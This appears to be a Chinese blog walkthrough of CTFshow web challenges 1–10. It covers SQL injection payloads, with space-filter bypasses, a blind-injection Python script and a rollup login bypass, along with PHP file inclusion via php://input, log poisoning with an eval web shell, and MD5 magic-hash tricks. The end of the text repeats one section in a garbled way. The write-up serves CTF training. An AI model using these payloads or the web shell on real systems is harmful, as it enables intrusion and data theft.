CTFshow 1-10关

CTF_show

web1签到题 信息收集

请添加图片描述

请添加图片描述

思路:点击进入发现后 除了一段文字 where is flag?没更多可以利用信息,这时我们右键点击查看源码或者检查页面代码,发现类似一段base64加密数据,此刻我们通过软件或者网站去解密后,即可发现flag

ctfshow{b285709e-88b0-4eb2-93af-4a48adab409d}

web2 SQL注入 post型

点击进入后,出现一个登录框,判断可能存在SQL注入

请添加图片描述

任意输入一个账户 并且使用万能密码 测试 发现登录成功

admin' or 1=1 #

请添加图片描述

确定此处存在注入点后,接着使用order by 语句判断字段数,根据页面返回情况,判断出字段数是3

admin' or 1=1 order by 3#                  页面正常
admin' or 1=1 order by 4#                  页面异常

请添加图片描述

请添加图片描述

admin' or 1=1 union select 1,2,3#                      判断出显位是2

请添加图片描述

admin' or 1=1 union select 1,dabase(),3 #                    查询库名

请添加图片描述

admin' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 #                              查询表名

请添加图片描述

admin' or 1=1 union select 1,(select column_name from information_schema.columns where column_name='flag' limit 0,1),3 #                                 查询字段名

请添加图片描述

admin' or 1=1 union select 1,(select flag from flag ),3 #                  查询flag

请添加图片描述

ctfshow{546d942b-3665-4799-9fc7-97269b8fcda9}

web3 文件包含 php://input

进入后看见关键字include并且有可控变量url,这时联想到文件包含漏洞

请添加图片描述

尝试使用伪协议 php://input 看能否执行系统命令

?url=php://input                                               php伪协议
<?php system('ls');?>                                          用于post传参执行ls命令

请添加图片描述

<?php system('cat ctf_go_go_go');?>                                   打开这个文件

请添加图片描述

?url=ctf_go_go_go                                          也可以直接用文件包含读取文件

请添加图片描述

ctfshow{d7923c1e-9e2a-435d-a069-7dad167e90cb} 

web4 文件包含 日志文件

进入靶场发现和web3界面一样,这时尝试使用web3的测试方法测试一遍,发现页面出现error。此刻猜测可以存在过滤。我们转换思路,尝试能够否查看日志文件。
请添加图片描述

通过日志文件信息,我们可以清晰的发现日志记录了我们的User-Agent等信息

?url=/var/log/nginx/access.log                                       查看日志文件

请添加图片描述

通过分析,知道了日志里记录我们可控数据,并且我们是通过文件包含漏洞看到这些的。从而联想到将一句话木马写入可控数据中,使用菜刀等软件去连接。一句话木马前后的aaabbb无任何实质操作,只是为了让我们更好的辨认出代码是否插入其中而特意添加的

<?php eval($_POST['123'])?>                                            一句话木马

请添加图片描述请添加图片描述

填入网站 密码进行连接
请添加图片描述

请添加图片描述

ctfshow{fdc2ef80-adee-4898-b53a-a8af5f6e13fe}

web5 md5漏洞

进入靶场映入眼前的就是php代码,需要我们进行简单的代码审计。

请添加图片描述

代码审计分析

1,变量v1,v2都是通过GET方式传参

2,ctype_alpha()函数用于检测变量是否为字母

3,is_numeric() 函数用于检测变量是否为数字

4,md5()一种加密方式 相关md5漏洞: PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0

解题思路

我们通过GET方式传入变字母量v1和v2,v1值为字母,v2值为数字,并且这两个变量通过md5加密后都是以0E开头的。

?v1=QNKCDZO&v2=240610708

请添加图片描述

ctfshow{8529c030-c25d-4458-acc4-9613b63fdd13} 

web6 SQL注入 post型 过滤空格

进入靶场,只看见登录框,联想到是否考察SQL注入

请添加图片描述

尝试万能密码注入,发现提示SQL注入错误

admin' or 1=1#

请添加图片描述

开始思考是否因为有空格过滤,尝试利用//替换空格验证猜想,果不其然是空格过滤**

admin'/**/or/**/1=1#

请添加图片描述

开始利用order by 判断字段数

admin'/**/or/**/1=1/**/order/**/by/**/3#             显示正常
admin'/**/or/**/1=1/**/order/**/by/**/4#             显示异常

判断出字段数是3,接着利用联合查询 select 1,2,3

admin'/**/union/**/select/**/1,2,3#                  判断回显位            

请添加图片描述

判断出回显位是2,我们在其替换我们要查询的语句

admin'/**/union/**/select/**/1,database(),3#              注入出数据库名称

admin'/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#                              注入出表名

admin'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#                                  注入出字段名

admin'/**/union/**/select/**/1,flag,3/**/from/**/flag#    注入出字段里面的内容

请添加图片描述

ctfshow{1025549c-4303-4670-8243-c97620670742}

web7 SQL注入 GET型 过滤空格

进入靶场后,映入眼前的就是文章列表,尝试任意打开一个,观察到URL地址出现?id=1字样,开始思考是否存在SQL注入

请添加图片描述

请添加图片描述

开始尝试判断是否存在注入

and 1=1 #

请添加图片描述

直接添加进去发现提示SQL注入错误,不禁开始思考是否存在空格过滤,当即尝试使用//替换空格**

?id=1/**/and/**/1=1/**/#                                      

请添加图片描述

通过测试发现回显正常,存在注入,当即尝试利用order by 判断字段数

?id=1/**/order/**/by/**/3#                                 回显正常
?id=1/**/order/**/by/**/4#                                 回显异常

通过测试我们判断出字段数为3,接着我们使用联合查询,判断出回显位置

?id=-1'/**/union/**/select/**/1,2,3#

请添加图片描述

接着就是同we6一样流程即可

?=-1/**/union/**/select/**/1,database(),3#              注入出数据库名称

id=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#                             注入出表名

?id=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#                     注入出字段名

?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#   注入出字段里面的内容

请添加图片描述

ctfshow{e1045c83-cf6a-4636-b289-077f998e91f7}

web8 SQL注入 post型 布尔注入

进入靶场后发现和web7一样,尝试用同样的套路去测试,测试发现过滤了空格,and,union,以及逗号,使用or进行判断后发现注入是存在的,这时我就联想到了盲注

请添加图片描述

由于手动注入效率低下,我们选择直接写脚本代替手工,也刚好满足题意

import requests
s=requests.session()
url='http://ded8c4c8-3140-4a49-8791-3f0e0ae41f17.challenge.ctf.show/index.php'
table=""

for i in range(1,46):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

请添加图片描述

ctfshow{11d82406-3344-46d0-b042-e3ea652aae95}

web9 SQL注入 post型 md5加密

进入靶场,发现与web8一样只给了账号,此刻猜测可能还是SQL注入,当即用进行测试,反复实验了几组payload都还是未见成效,猜测可能是此题不是考察SQL注入,开始尝试使用dirsearch目录扫描寻找是否还有其他页面,或者其他有利用价值的信息。
请添加图片描述

python dirsearch.py -u http://ed1cf6ce-3bfa-4d96-9368-fccdc17a5c25.challenge.ctf.show/ -e php

请添加图片描述

通过扫描发现这个页面/robots.txt,尝试打开。
请添加图片描述

打开后发现另一个地址/index.phps,接着我们继续打开发现的目录,打开后下载出一个文件,将其打开后发现是登录页面的php代码。
请添加图片描述

代码审计分析

1,password通过post传参被接收处理

2,strlen() 函数用于计算字符串的长度

3,mysqli_query() 函数执行某个针对数据库的查询

4,mysqli_num_rows() 函数返回结果集中行的数量

5,mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。

解题思路

通过上述代码的分析 我们发现突破点就在于利用md5加密后的密码字符串里包含’or’xxx形成闭合,从而形成万能密码,进行绕过使其成功登录,输出flag

ffifdyop                                   这段字符是从其他大佬文章里面找寻到的,且符合题意

请添加图片描述

ctfshow{fa3fc8c1-b748-4da8-aaeb-a71baca0a164} 

web10 SQL注入 post型

进入靶场后发现依旧是熟悉的界面,不一样的就是出现了一个取消按钮,猜测可能还是考察SQL注入

请添加图片描述

尝试点击取消,发现下载后是登录页面的php代码

请添加图片描述

代码审计分析

1,replaceSpecialChar函数用于过滤特殊字符

2,strlen() 函数用于计算字符串的长度

解题思路

通过上述代码描述,发现限制了许多关键字符,也对输入长度有检测,从而双写绕过这条道路被堵死,通过思考为了让账号密码都能正确执行,我们可以才用group by 语句对其密码排序,然后用with rollup与去对排序后进行求和,因为求和后的值为null,此刻我们不输入密码,密码就为空,刚好也能满足代码判断条件从而正常执行,登录成功输出flag

admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

请添加图片描述

ctfshow{199d9068-9f08-4936-97bc-ffb67c6e5915}

Char函数用于过滤特殊字符**

2,strlen() 函数用于计算字符串的长度

解题思路

通过上述代码描述,发现限制了许多关键字符,也对输入长度有检测,从而双写绕过这条道路被堵死,通过思考为了让账号密码都能正确执行,我们可以才用group by 语句对其密码排序,然后用with rollup与去对排序后进行求和,因为求和后的值为null,此刻我们不输入密码,密码就为空,刚好也能满足代码判断条件从而正常执行,登录成功输出flag

admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
ctfshow{199d9068-9f08-4936-97bc-ffb67c6e5915}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值